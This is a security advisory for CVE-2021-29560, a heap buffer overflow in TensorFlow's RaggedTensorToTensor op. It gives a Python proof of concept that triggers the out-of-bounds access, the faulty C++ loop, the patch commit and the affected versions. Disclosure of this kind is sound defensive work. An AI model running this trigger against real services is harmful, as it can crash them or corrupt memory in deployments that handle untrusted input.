Heap buffer overflow in `RaggedTensorToTensor`

### Impact An attacker can cause a heap buffer overflow in `tf.raw_ops.RaggedTensorToTensor`: ```python import tensorflow as tf shape = tf.constant([10, 10], shape=[2], dtype=tf.int64) values = tf.constant(0, shape=[1], dtype=tf.int64) default_value = tf.constant(0, dtype=tf.int64) l = [849, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0] row = tf.constant(l, shape=[5, 43], dtype=tf.int64) rows = [row] types = ['ROW_SPLITS'] tf.raw_ops.RaggedTensorToTensor( shape=shape, values=values, default_value=default_value, row_partition_tensors=rows, row_partition_types=types) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/d94227d43aa125ad8b54115c03cece54f6a1977b/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L219-L222) uses the same index to access two arrays in parallel: ```cc for (INDEX_TYPE i = 0; i < row_split_size - 1; ++i) { INDEX_TYPE row_length = row_split(i + 1) - row_split(i); INDEX_TYPE real_length = std::min(output_size, row_length); INDEX_TYPE parent_output_index_current = parent_output_index[i]; ... } ``` Since the user controls the shape of the input arguments, an attacker could trigger a heap OOB access when `parent_output_index` is shorter than `row_split`. ### Patches We have patched the issue in GitHub commit [a84358aa12f0b1518e606095ab9cfddbf597c121](https://github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.

CVSS 3.1

CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Severity from

GitHub (reviewed advisory)

Weakness

CWE-125, CWE-787

Also known as

BIT-tensorflow-2021-29560, CVE-2021-29560, PYSEC-2021-197, PYSEC-2021-488, PYSEC-2021-686

• github.com/tensorflow/tensorflow/security/advisories/GHSA-8gv3-57p6-g35r
• nvd.nist.gov/vuln/detail/CVE-2021-29560
• github.com/tensorflow/tensorflow/commit/a84358aa12f0b1518e606095ab9cfddbf597c121
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-488.yaml
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-686.yaml
• github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-197.yaml
• github.com/tensorflow/tensorflow